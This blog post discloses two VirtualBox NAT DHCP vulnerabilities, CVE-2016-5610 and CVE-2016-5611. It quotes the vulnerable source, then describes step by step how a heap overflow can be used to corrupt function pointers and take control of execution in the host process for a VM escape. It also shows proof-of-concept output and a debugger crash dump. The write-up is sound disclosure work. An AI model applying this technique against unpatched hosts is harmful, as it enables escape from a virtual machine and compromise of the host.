VirtualBox NAT DHCP/BOOTP server vulnerabilities

Continuing from my previous blog posts, this is another old set of VirtualBox bugs which can lead to VM escape. VirtualBox guest in NAT mode (default networking configuration) enables a per VM DHCP server which assigns IP address to guest.

[email protected]:~$ ifconfig enp0s3
enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c
inet addr: Bcast: Mask:
inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)
The emulated DHCP server runs in IP address Packets sent to this DHCP server gets parsed by host worker process

[email protected]:~$ sudo nmap -sU -p 68
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
Oracle fixed 2 of my bugs CVE-2016-5610 and CVE-2016-5611 during Oracle Critical Patch Update - October 2016. The bug affects VirtualBox versions prior to 5.0.28 and 5.1.8 in code src/Vbox/Devices/Network/slirp/bootp.c

DHCP packet is defined in src/Vbox/Devices/Network/slirp/bootp.h as below:

#define DHCP_OPT_LEN 312

/* RFC 2131 */
struct bootp_t
struct ip ip; /**< header: IP header */
struct udphdr udp; /**< header: UDP header */
uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
uint8_t bp_htype; /**< hardware type */
uint8_t bp_hlen; /**< hardware address length */
uint8_t bp_hops; /**< hop count */
uint32_t bp_xid; /**< transaction ID */
uint16_t bp_secs; /**< numnber of seconds */
uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */
struct in_addr bp_ciaddr; /**< client IP address */
struct in_addr bp_yiaddr; /**< your IP address */
struct in_addr bp_siaddr; /**< server IP address */
struct in_addr bp_giaddr; /**< gateway IP address */
uint8_t bp_hwaddr[16]; /** client hardware address */
uint8_t bp_sname[64]; /** server host name */
uint8_t bp_file[128]; /** boot filename */
uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */
The DHCP server maintains an array of BOOTPClient structure (bootp.c), to keep track of all assigned IP addresses.

/** Entry in the table of known DHCP clients. */
typedef struct
uint32_t xid;
bool allocated;
uint8_t macaddr[6];
struct in_addr addr;
int number;
} BOOTPClient;

/** Number of DHCP clients supported by NAT. */
#define NB_ADDR 16
The array is initialized during VM initialization using bootp_dhcp_init()

int bootp_dhcp_init(PNATState pData)
pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
if (!pData->pbootp_clients)

CVE-2016-5611 - Out-of-bounds read vulnerability in dhcp_find_option

static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
uint8_t *q = vend;
uint8_t len;
. . .
while(*q != RFC1533_END) // expects END tag in an untrusted input
if (*q == RFC1533_PAD)
q++; // incremented without validation
if (*q == tag)
return q; // returns pointer if tag found
len = *q;
q += 1 + len; // length and pointer not validated
return NULL;
dhcp_find_option() parses the guest provided bp_vend field in DHCP packet. However, lack of proper validation could return a pointer outside the DHCP packet buffer or crash the VM if the while loop never terminates until an unmapped address is accessed. One interesting code path to trigger info leak using this bug is by DHCP decline packets.

bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);

static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
. . .
/* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
* to Dhcp Option RFC2132_REQ_ADDR
pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
. . .
req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
if (RT_FAILURE(rc))
. . .
bc->addr.s_addr = req_ip.s_addr;
slirp_arp_who_has(pData, bc->addr.s_addr);
LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
/* no response required */
. . .
A DHCPDECLINE message is sent by a client suggesting the provided IP address is already in use. This IP address is part of the bp_vend field. The server calls dhcp_find_option() to get a pointer to the IP address within bp_vend field. Here a pointer outside the DHCP buffer can be returned, pointing to some junk data as IP address.

The server first checks if the IP address is already in assigned list by calling bootp_cache_lookup_ether_by_ip(). If not, it further invokes slirp_arp_who_has() to generated an ARP request with bytes read outside DHCP buffer as IP address. This request will be received by the guest since its a broadcast packet leaking some bytes.

To trigger the issue, send a DHCPDECLINE packet with bp_vend filled with RFC1533_PAD. If there is no crash, an ARP packet will be triggered like below:

[email protected]:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has (Broadcast) tell, length 46 are the leaked host process bytes. Link to proof-of-concept code can be found at the end of blog post.

CVE-2016-5610 – Heap overflow in dhcp_decode_request()

static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
. . .
/*?? renewing ??*/
switch (dhcp_stat)
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = bp->bp_ciaddr.s_addr;

. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = ui32;
. . .
When parsing DHCPREQUEST packets, the bp->bp_hlen field is not validated. The assert statement Assert((bp->bp_hlen == ETH_ALEN)) is compiled out of release builds, leading to heap buffer overflow when copying bp_hwaddr from untrusted DHCP packet to the macaddr field in BOOTPClient structure.

bp_hlen is only a byte, hence the maximum value can be 255. However, size of BOOTPClient structure array is greater than 300 bytes. Overflowing within this array is not very interesting as there is no critical data to corrupt. In order to make this overflow interesting, we have to reach to the end of BOOTPClient structure array (pbootp_clients).

pbootp_clients array can store information about 16 client requests [0...15]. The first element is already used during VM initialization with the guest IP address. To advance further into the array, the guest can send another 14 DHCPREQUEST packets with unique information. When handling the 15th DHCPREQUEST packet trigger the overflow by setting bp_hlen to maximum value.

Since pbootp_clients is allocated early during the VM initialization process and overflow is limited to a max of 255 bytes, the adjacent buffer needs to be something interesting. When testing VirtualBox 5.0.26 in Ubuntu 16.04, the adjacent buffer was a uma_zone structure defined in src/Vbox/Devices/Network/slirp/zone.h

# define ZONE_MAGIC 0xdead0002
struct uma_zone
uint32_t magic;
PNATState pData; /* to minimize changes in the rest of UMA emulation code */
const char *name;
size_t size; /* item size */
ctor_t pfCtor;
dtor_t pfDtor;
zinit_t pfInit;
zfini_t pfFini;
uma_alloc_t pfAlloc;
uma_free_t pfFree;
int max_items;
int cur_items;
LIST_HEAD(RT_NOTHING, item) used_items;
LIST_HEAD(RT_NOTHING, item) free_items;
uma_zone_t master_zone;
void *area;
/** Needs call pfnXmitPending when memory becomes available if @c true.
* @remarks Only applies to the master zone (master_zone == NULL) */
bool fDoXmitPending;
This structure gets used in functions defined in src/Vbox/Devices/Network/slirp/misc.c. Corrupting pfCtor, pfDtor, pfInit, pfFini, pfAlloc or pfFree gives RIP control in NAT thread or the per vCPU EMT thread.

$ sudo ./poc enp0s3
[sudo] password for renorobert:
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Overflowing bootp_clients into uma_zone structure…

gdb-peda$ c

Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]

RAX: 0xfffffe95
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RCX: 0x0
RDX: 0x0
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70])
R8 : 0x0
R9 : 0x0
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp)
R11: 0x0
R12: 0x7fd1f0852080 --> 0x800
R13: 0x7fd20e4aeb90 --> 0x100000002
R14: 0x7fd1f05ea340 ('B' , "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
0x7fd1df223086: xor edx,edx
0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48]
0x7fd1df22308b: mov rdi,rbx
=> 0x7fd1df22308e: call QWORD PTR [rbx+0x70]
0x7fd1df223091: test rax,rax
0x7fd1df223094: mov r12,rax
0x7fd1df223097: je 0x7fd1df2230b5
0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0
arg[3]: 0x0
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff
0024| 0x7fd20e4aeb68 --> 0x11a
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/

gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000

The proof of concept code for both the bugs can be found at virtualbox-nat-dhcp-bugs